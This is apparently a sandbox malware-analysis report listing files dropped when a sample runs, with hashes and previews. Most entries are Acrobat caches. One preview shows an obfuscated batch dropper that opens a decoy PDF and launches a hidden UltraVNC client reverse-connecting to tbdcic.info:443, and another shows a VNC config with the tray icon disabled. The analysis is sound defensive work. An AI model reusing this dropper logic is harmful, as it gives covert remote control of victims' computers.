Preview:	{"analyticsData":{"responseGUID":"36c4d023-bac6-420c-b36a-3468eb0e7b8d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1735130869535,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.282320782228978
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtQs6Pi14WsGiIPEeOF0YMjUoAvJTqgFCrPeUkwRe9:YvXKXtjL1bsdTeOsDGTq16Ukee9
MD5:	29E3EAF934989E79AD5C06351D466000
SHA1:	992C2D1A74730272F700ECE26A68DB42314C09B0
SHA-256:	53CA86922BC82E35F8A796DD3B6D078E6F571347E5396406048F702744797C15
SHA-512:	7AAF2AA8B675B5FC196B39991B9B73F4D7A526CF1E9ABA8ED380A2FB1F98E49E5D87B9DA9DEFA754A8DA97527E7DEB7ACF02E13ED798CDAF1F6C55ABDB5633B1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"36c4d023-bac6-420c-b36a-3468eb0e7b8d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1735130869535,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.144131416329443
Encrypted:	false
SSDEEP:	24:YR6YqGaSmay3qo8qzPqJzjTqG4YqHpYqQfLzjH4oj0SRDXlbgEe26s2LSRNC/Vwf:YRpf3wOYq5xcfst6VG7bMd8D279gn
MD5:	F978961B028E3CB132B834CBB4B17EB6
SHA1:	04836563EB0FE09B24D80AA41FE71FECFC745139
SHA-256:	0139C2456B51635426809FE60BC85B76297237633CDB8EB6338018B315E9C3B9
SHA-512:	EC93F3D51EC8CE1D333FB71F50963E0907AC3730892E77CC21A4D4A9B76ECDF3777103CF9E175F10E2A40308F48E6E866306D11FA9E3C20815E35CD5F01A5331
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"4bf8e3f8c4905d7a32eb0f6c94473fa4","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1734957469000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"a9cd5c5c9c1cd6619955312228472bd1","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1734957469000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"bc4d71814e94e9db47f6a01ec2d9eab3","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1734957469000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"e466c981bf9c5df2a5132d84ae76b48b","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1734957469000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"34623ccffb1e2e9139b91366a625da1c","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1734957469000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"f66c1f743cf205264d83a544a6666c96","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.453646778732422
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsili:lNVmsw3SHtbDbPe0K3+fDZdI
MD5:	B3FE83D88265B4D6BA9B0555288E0EE9
SHA1:	484DCC0C5D55D53BB3778120F973F92ECB0B6C2B
SHA-256:	F04B2C2B3EA52159E6527A45DA5A0470D1438AAB8E6A5CFBA96F9FA6123DF51F
SHA-512:	6CFDCB70F79111DD9BCFD75DDB67522D1458C96D4876E86BE3EEDE03F39FDCDC0C66E9556E79361296D16AA55A4F5AC848DD5C1BE5D294936F77A1801A775AA9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9581680794912386
Encrypted:	false
SSDEEP:	48:7MI4SrvrBd6dHtbGIbPe0K3+fDy2dsLjqFl2GL7ms6:7063SHtbDbPe0K3+fDZd6KVms6
MD5:	3562B93462C73F8FBB9274C6B993D4E0
SHA1:	7A7308404CAE8B9F62DA58131296B1EEC7393A58
SHA-256:	F3CE8F0B13B4F6A6D8E985DA61BD9038B88B69778F31FF78386C23D461333587
SHA-512:	941B0187EDB58D418316040616624391D4BD4E85F5CC8217898603823802138D1EAF26EB9BBA09F4CCDFD8BC6E6663DB451A3D400C0DDF15EE9E30C043FBC767
Malicious:	false
Preview:	.... .c..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgG2G//GDdFt3VK3pCMC4Bhqh3pS6x7Yyu:6a6TZ44ADEG6t3VK3VC4B4hZnx7K
MD5:	E271E7162F123A0B30F4F3C0FF9FD4A1
SHA1:	6B0E02ACCDE6D6D8383E6AD121C2E81358548762
SHA-256:	08804B03C84EAED75F70F4D4D9E975BA21988861CAEEAB22806C89318831B7B3
SHA-512:	CCF89FCC972D89B1165926EF436D61D809FEEB791F864BB96E8B18798154A29DDF4D1606F4AD5F776017C3DCF9113708C55F486A6C01F85FBA15BDB6E89FB7F5
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\5482310161066753

Download File

Process:	C:\Users\user\Desktop\Olz7TmvkEW.exe
File Type:	DOS batch file, ASCII text
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	5.5415018235723945
Encrypted:	false
SSDEEP:	24:gDo8Dlr0RMqL0LtvJW2urcW1SalC/ki2wpx/m:aEb2AhFWx/m
MD5:	651796E1EB5F2C51A6DD6929A65184DA
SHA1:	C475C14C2D71453126FBDE6E135C4B68801A0E9F
SHA-256:	8F0E40CBAAA9C09FA66C18BB90B54FD373EAEF4328E166EB5D0A3EE036F8DD49
SHA-512:	C76F34CD8F7BC54A2D229B6DE8C0899FD676DB75001BAF0A7394655BE85CCE65539D3B7D1565A2381ADECF851615B9A989C9D83B22B6732BA4272026D9D8454F
Malicious:	false
Preview:	@echo off.setlocal enabledelayedexpansion.set dLblEw=nhost.set H9zjF6=nne.set Ely6ya=co.set rsZWbB=exe.set e2uPdm=Lom.set RscJfa=pdf.set DE4CBb=raVNC.set jq2jOU=%COMPUTERNAME%.set q6noQx=autore.set WWfq61=%WINDIR%\Tasks\698563441.cmd.set AMDK6l=tbdcic.info.set qC9Ryl=Thj0Wf.set eUynLD=443.set uTrzGi=co.set ayToqv=ct.set nM9rdS=Ult.set TfRayV=sync_browser.set erudre=ini.timeout /t 1.copy "gTFLK1.jBd3Ei" "%HOMEPATH%\Downloads\%e2uPdm%.%RscJfa%" & start "" "%HOMEPATH%\Downloads\%e2uPdm%.%RscJfa%".timeout /t 1.taskkill /f /im %TfRayV%.%rsZWbB% .timeout /t 2.copy "GIjul8.QTIrrr" "%TfRayV%.%rsZWbB%".timeout /t 1.copy "CEpr8q.li7XUg" "%nM9rdS%%DE4CBb%.%erudre%".timeout /t 2.start "" %WINDIR%\Tasks\%TfRayV%.%rsZWbB% .timeout /t 8.start "" %WINDIR%\Tasks\%TfRayV%.%rsZWbB% -%q6noQx%%Ely6ya%%H9zjF6%%ayToqv% -id:%jq2jOU%_%qC9Ryl% -%Ely6ya%%H9zjF6%%ayToqv% %AMDK6l%:%eUynLD%.timeout /t 2.copy "sdABZ4.E1924R" "%uTrzGi%%dLblEw%.%rsZWbB%".timeout /t 4.:loop.if exist "%WWfq61%" (. cmd /c "%WWfq61%". tim

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\CEpr8q.li7XUg

Download File

Process:	C:\Users\user\Desktop\Olz7TmvkEW.exe
File Type:	Generic INItialization configuration [admin]
Category:	dropped
Size (bytes):	858
Entropy (8bit):	5.216893826927931
Encrypted:	false
SSDEEP:	24:z/h28nCt2vMQg9KgJhuXNTxYgMei3MAKJDv:rh28nCF/KgJOr8eTxDv
MD5:	7EB58E0D2316B8ECE029C804BF4BA8FA
SHA1:	A2A8E2518D12A53CCFCAB925C124933172044D08
SHA-256:	71203DB9D1722FA5B1B627BAA36FEAFC93B1E5F2F779413C84BD4686742A76F9
SHA-512:	3415113B8CA2F79860DF7529CFBC18CBDC24B93B22723B9D34034A683B71906F8DCC20AA568ADF3F4649EB85FD7E8FDF8FDB34FE5A748E4AE7E36ACD2FC063AD
Malicious:	false
Preview:	[Permissions]..[admin]..LocalInputsDisabled=0..IdleTimeout=0..EnableJapInput=0..RemoveAero=0..DebugMode=0..Avilog=0..path=Y:..DebugLevel=0..AllowLoopback=0..LoopbackOnly=0..AllowShutdown=1..AllowProperties=1..AllowEditClients=1..FileTransferTimeout=40..KeepAliveInterval=4..SocketKeepAliveTimeout=14000..DisableTrayIcon=1..MSLogonRequired=0..NewMSLogon=0..ConnectPriority=0..QuerySetting=2..QueryTimeout=8..QueryAccept=0..LockSetting=0..RemoveWallpaper=0..RemoveEffects=0..RemoveFontSmoothing=0..FileTransferEnabled=1..FTUserImpersonation=1..BlankMonitorEnabled=0..BlankInputsOnly=0..DefaultScale=1..UseDSMPlugin=0..DSMPlugin=..DSMPluginConfig=..primary=1..secondary=0..SocketConnect=0..HTTPConnect=0..XDMCPConnect=0..AutoPortSelect=1..PortNumber=5628..HTTPPortNumber=5800..InputsEnabled=1..[UltraVNC]..passwd=F0111C75FCAEB30BD2..passwd2=F2102C75FCAEB11BD2..

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\GIjul8.QTIrrr

Download File

Process:	C:\Users\user\Desktop\Olz7TmvkEW.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	modified
Size (bytes):	1945368
Entropy (8bit):	6.532894678367002
Encrypted:	false
SSDEEP:	24576:7x+OMUhcLEQ6EIN1sz4LD7hKCt+/WppxJ1Rj0rPz3AUA/Jpu:FQXL0d7hdrr0rPz3AUA/J0
MD5:	749B3A68B9C5325D592822EE7C2C17EC
SHA1:	3EDE6BB2DF969432358A5883CF226971FDE8B7D4
SHA-256:	F7D4080AD8259B0AAC2504F8B5D8FAB18E5124321C442C8BCB577598059D0B24
SHA-512:	B9C5AE6BA6145048721F6B4D5D9D751E7F0E6945D4D72FDB7959AED11BFC24ABDDBDF02A55A19FDD990648CAA6710ACAE9488329CBE3ABBC808C704954948998
Malicious:	true
Yara Hits:	Rule: JoeSecurity_UltraVNC, Description: Yara detected UltraVNC Hacktool, Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\GIjul8.QTIrrr, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 7q551ugrWe.exe, Detection: malicious, Browse Filename: T8xrZb7nBL.exe, Detection: malicious, Browse Filename: mSRW5AfJpC.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......r.l.6...6...6.......8...-U......-U..8...-U..r...6...9...?...4...?...7...?...!...6.......-U......-U..7...-U..7...Rich6...........................PE..d....Y,T.........."......\|..........4..........@..............................(.....0.....@.............................................................t.......$.............(.........................................................(............................text....{.......\|.................. ..`.rdata..,?.......@..................@..@.data....6.......D..................@....pdata..$...........................@..@.rsrc...t...........................@..@.reloc...$....(..&...p..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\gTFLK1.jBd3Ei

Download File

Process:	C:\Users\user\Desktop\Olz7TmvkEW.exe
File Type:	PDF document, version 1.5 (zip deflate encoded)
Category:	dropped
Size (bytes):	605114
Entropy (8bit):	7.931189302613814
Encrypted:	false
SSDEEP:	12288:A9bEzJrWWXvkqWpnMs6LQ1BU9U0pGOdbLL23yKBcPr:AFEzJrZXvkqYgUwuCUcPr
MD5:	A18D0E3EEEF0D6E099BAB52F8B041446
SHA1:	4879750BEC07AA11629950310AF538E9A9D91D20
SHA-256:	95F656B24E7D5E192BF4EA8216CCB539299EE908A3E998FCEE4B1A655BAF66EF
SHA-512:	6E2C2D96C98EE24AC6235B35131889D338ABC5E8399A41204AB2DFCFF56E40ABF6476A3F080A0F12715F8A6685182258EA6183645FD8D337B7F09EE14295FBAD
Malicious:	false
Preview:	%PDF-1.5.%.....92 0 obj.<</Filter/FlateDecode/Length 3501>>.stream.x..Zmo...>..EA.,..(J.s~..S+.v..^.b.....4...Ea.I..m.4_..;......%0p:......3.......?..w........&/../.........=...en......?...../..m._..v.}T..l..?..g...l.7.A....Nq..z.m..c..Nv...<.........3...s4.C..C...f.....l.0...-.-8...~.c.yi.`y..]...uf.)K.x...1T...Iw...5D..iE.v.a5.t..h.3Z.@..XRgXR..4....A.....a..C.)n.E%...g....d....T.$..?..`Z.>...F....:.aT8].k:\|...v.....=+}..O..A.a..z6.D.SU.]'"=.f2...1....`.}R.#.R.4.....<$......Z..agQ....u....V.$~.z5.?.r.).......'.p..6...l..#~...}....c.8k{/$.Z8G....:..5A.T......M....b.M..._.FE.}.5.........;...e.....j.......E...4...'E.e'..>....u..v...l..?..u.x......_"..-.9.CX.3.#...=....;.......b.j........j$Y..G......./,..Rh.....m...'9..V.....e.".....Y.{...?g.bi.....T..0!.k.8q......)...xN{..g.`G..F.0.n~.U!.a..(.!..^...[.d'.?fw....x.h...[.:.-..#;.lM@.c.+x1......nFK...].>..n@,H..-.C ........*zf.Z.0W-.....5#]...C..8.Pm1Q.8...5.,. ....Ce=....p.5.u!.e.....Q).=.G.

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\sdABZ4.E1924R

Download File

Process:	C:\Users\user\Desktop\Olz7TmvkEW.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	867840
Entropy (8bit):	6.386550733462827
Encrypted:	false
SSDEEP:	12288:viUJpFQQzI8Qxdp0rksF0Wd24ylXTA4lENCbQZMCF0jdMH:viE/rIpx4rkN8olUWENCsyCF0pe
MD5:	0F568F6C821565AB9FF45C7457953789
SHA1:	F948A4C5E01A74B17D0F966615834BA76DC1BADC
SHA-256:	CC0A60CD15FA21E54615E46CD0F10CFBE86F496DC64D14B31D9F3B415D120EE1
SHA-512:	B73427198596803013F0A1F1F25628380A148D226903C0F91145546B675D17EADA177A18155E4183FAA4B692365141CE1FCDBD13C2C4F8235EB73BECF972EFE8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 7q551ugrWe.exe, Detection: malicious, Browse Filename: T8xrZb7nBL.exe, Detection: malicious, Browse Filename: mSRW5AfJpC.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........?]T.^3..^3..^3..&...^3..57..^3..50..^3..^2..[3..52..^3..5>.z^3..56..^3..5...^3..5...^3..51..^3.Rich.^3.........PE..d...?...........".................`..........@....................................9g....`.......... .......................................................`......................pB..p.......................(................... ...`............................text...@........................... ..`.rdata..^J.......L..................@..@.data....H..........................@....pdata.......`......................@..@.didat..............................@....rsrc...............................@..@.reloc...............0..............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI7d452.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5101311170247493
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8rOlAkD:Qw946cPbiOxDlbYnuRKDlDD
MD5:	1196E6369523C7D8615562130FA101FB
SHA1:	BAFD8603C8949FD38D69F6BB52DCC38B2787C596
SHA-256:	F1522CB2BA8513BDF2D8D691A21BB025654FDCC27F945091D7AA2D6CCEE19311
SHA-512:	78C2743858E142EABD05D5009362724E327CBA992CEDB11FF9A386569EE2916501D7E749FFCE2E42E1DBE5D12255D18081775A4513D052A5A44A2FC623B23486
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .2.3./.1.2./.2.0.2.4. . .0.7.:.3.7.:.4.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-12-23 07-37-38-663.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3656857403041025
Encrypted:	false
SSDEEP:	384:Qu03cqZLSxsXACgJdDANJSHPEXNmKrPdzYs46GaLJ43U/tknZ4AvZ0ZYtS8C+Dbq:4vr
MD5:	0B3E96BDBCDA60F4C71D40D8448C1364
SHA1:	8EA062A4E16F840D4D672F5A72DF90AF977E299F
SHA-256:	D56BFA178F31352BC253C94F2B58C0DD25130AADA20BE7967247F370C311819A
SHA-512:	E5F884ABDC2BDFCF9B6270A96FA57609F7314C11FCDD22C8F1D8D47801B5A8372219AD03FE5BE3C88BBFBDC5C684EF249FA36AE5DD8C0D8BB1C4A77322EFAA48
Malicious:	false
Preview:	SessionID=a03fced1-c45f-4d29-8544-b0409d88d524.1734957458687 Timestamp=2024-12-23T07:37:38:687-0500 ThreadID=7320 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=a03fced1-c45f-4d29-8544-b0409d88d524.1734957458687 Timestamp=2024-12-23T07:37:38:688-0500 ThreadID=7320 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=a03fced1-c45f-4d29-8544-b0409d88d524.1734957458687 Timestamp=2024-12-23T07:37:38:688-0500 ThreadID=7320 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=a03fced1-c45f-4d29-8544-b0409d88d524.1734957458687 Timestamp=2024-12-23T07:37:38:688-0500 ThreadID=7320 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=a03fced1-c45f-4d29-8544-b0409d88d524.1734957458687 Timestamp=2024-12-23T07:37:38:688-0500 ThreadID=7320 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.415378283324518
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRL:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRJ
MD5:	67FCDFFFE4E9113ABEE902CA14FDB015
SHA1:	49F41DAF13DCFF7FE8711A7B9B94BC1BD3992162
SHA-256:	090AAA7CBF5CCE2C4464B8816BA974AD10DD3C36C86FA6EDFC202E7EFE62D5D0
SHA-512:	7EF4F24FA54AD11CDBB4478E7CCF69C48947295CB25632A57225757E9393B453FF37850699368140A7E5C15062859A1AB80E89A11154A201F9F1687DF119B1D8
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\491af29d-46ae-47f3-9f93-26e877423632.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/yowYIGNP4bdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oBGZd:twZG6b3mlind9i4ufFXpAXkrfUs0qWLa
MD5:	8D04FDC5022E491B91EC6B32F003430B
SHA1:	6619D46E06076B5669D4CC677D6D8F638189E46A
SHA-256:	7682C53053D66EF0B1A89335C88C4420226B10AFAC87A286E6E1A6BC795FEE61
SHA-512:	AA96FA56D3C5C4200BAA917D3091ADB1A5FAE7D534DD9C909D8B60AE13E902D6B71D42C2823319483414987E4B41079FA241B3D0A384EE4B281B63F834917E7D
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a54c75d0-858c-4c41-970e-84015b6c826a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
